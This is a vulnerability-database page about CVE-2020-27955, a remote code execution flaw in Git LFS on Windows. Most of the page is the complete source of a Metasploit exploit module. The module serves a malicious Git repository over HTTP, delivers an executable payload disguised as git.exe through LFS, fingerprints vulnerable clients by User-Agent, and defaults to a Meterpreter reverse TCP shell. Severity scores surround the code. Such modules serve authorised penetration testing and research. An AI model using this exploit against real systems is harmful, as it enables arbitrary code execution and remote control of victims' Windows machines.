Lucene search

K
metasploitDawid Golunski, space-r7, jheysel-r7MSF:EXPLOIT-WINDOWS-HTTP-GIT_LFS_RCE-
HistorySep 03, 2021 - 9:15 p.m.

Git Remote Code Execution via git-lfs (CVE-2020-27955)

2021-09-0321:15:38
Dawid Golunski, space-r7, jheysel-r7
www.rapid7.com
59

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.94 High

EPSS

Percentile

99.1%

A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked into cloning the attacker’s malicious repository using a vulnerable Git version control tool

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Git
  include Msf::Exploit::Git::Lfs
  include Msf::Exploit::Git::SmartHttp
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Git Remote Code Execution via git-lfs (CVE-2020-27955)',
        'Description' => %q{
          A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for
          versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked
          into cloning the attacker’s malicious repository using a vulnerable Git version control tool
        },
        'Author' => [
          'Dawid Golunski ', # Discovery
          'space-r7',        # Guidance, git mixins
          'jheysel-r7'       # Metasploit module
        ],
        'References' => [
          ['CVE', '2020-27955'],
          ['URL', 'https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/']
        ],
        'DisclosureDate' => '2020-11-04', # Public disclosure
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Git LFS <= 2.12',
            {
              'Platform' => ['win']
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options([
      OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
    ])
    deregister_options('RHOSTS')
  end

  def setup_repo_structure
    payload_fname = 'git.exe'
    @hook_payload = generate_payload_exe

    ptr_file = generate_pointer_file(@hook_payload)
    git_payload_ptr = GitObject.build_blob_object(ptr_file)

    git_attr_fname = '.gitattributes'
    git_attr_content = "#{payload_fname} filter=lfs diff=lfs merge=lfs"
    git_attr_obj = GitObject.build_blob_object(git_attr_content)

    register_dir_for_cleanup('.git')
    register_files_for_cleanup(git_attr_fname)

    # root of repository
    tree_ent =
      [
        {
          mode: '100644',
          file_name: git_attr_fname,
          sha1: git_attr_obj.sha1
        },
        {
          mode: '100755',
          file_name: payload_fname,
          sha1: git_payload_ptr.sha1
        }
      ]

    tree_obj = GitObject.build_tree_object(tree_ent)
    commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)

    @git_objs =
      [
        commit, tree_obj, git_attr_obj, git_payload_ptr
      ]

    @refs =
      {
        'HEAD' => 'refs/heads/master',
        'refs/heads/master' => commit.sha1
      }
  end

  #
  # Determine whether or not the target is exploitable based on the User-Agent header returned from the client.
  # The git version must be equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0 to be
  # exploitable by this vulnerability.
  #
  # Returns +true+ if the target is suitable, else fail_with descriptive message
  #
  def target_suitable?(user_agent)
    info = fingerprint_user_agent(user_agent)
    if info[:ua_name] == Msf::HttpClients::UNKNOWN
      fail_with(Failure::NoTarget, "The client's User-Agent string was unidentifiable: #{info}. The client needs to clone the malicious repo on windows with a git version less than 2.29.0")
    end

    if info[:os_name] == 'Windows' &&
       ((info[:ua_name] == Msf::HttpClients::GIT && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.29.2')) ||
         (info[:ua_name] == Msf::HttpClients::GIT_LFS && Rex::Version.new(info[:ua_ver]) <= Rex::Version.new('2.12')))
      true
    else
      fail_with(Failure::NotVulnerable, "The git client needs to be running on Windows with a version equal or less than 2.29.2 while git-lfs needs to be equal or less than 2.12.0. The user agent, #{info[:ua_name]}, found was running on, #{info[:os_name]} and was at version: #{info[:ua_ver]}")
    end
  end

  def on_request_uri(cli, req)
    target_suitable?(req.headers['User-Agent'])
    if req.uri.include?('git-upload-pack')
      request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
      case request.type
      when 'ref-discovery'
        response = send_refs(request)
      when 'upload-pack'
        response = send_requested_objs(request)
      else
        fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
      end
    else
      response = handle_lfs_objects(req, @hook_payload, @git_addr)
      unless response.code == 200
        cli.send_response(response)
        fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
      end
    end
    cli.send_response(response)
  end

  def create_git_uri
    "/#{Faker::App.name.downcase}.git".gsub(' ', '-')
  end

  def primer
    @git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
    @git_addr = URI.parse(get_uri).merge(@git_repo_uri)
    print_status("Git repository to clone: #{@git_addr}")
    hardcoded_uripath(@git_repo_uri)
    hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
  end

  def handle_lfs_objects(req, hook_payload, git_addr)
    git_hook_obj = GitObject.build_blob_object(hook_payload)

    case req.method
    when 'POST'
      print_status('Sending payload data...')
      response = get_batch_response(req, git_addr, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
    when 'GET'
      print_status('Sending LFS object...')
      response = get_requested_obj_response(req, git_hook_obj)
      fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
    else
      fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
    end

    response
  end

  def send_refs(req)
    fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'

    response = get_ref_discovery_response(req, @refs)
    fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response

    response
  end

  def send_requested_objs(req)
    upload_pack_resp = get_upload_pack_response(req, @git_objs)
    unless upload_pack_resp
      fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
    end

    upload_pack_resp
  end

  def exploit
    setup_repo_structure
    super
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.94 High

EPSS

Percentile

99.1%

Related for MSF:EXPLOIT-WINDOWS-HTTP-GIT_LFS_RCE-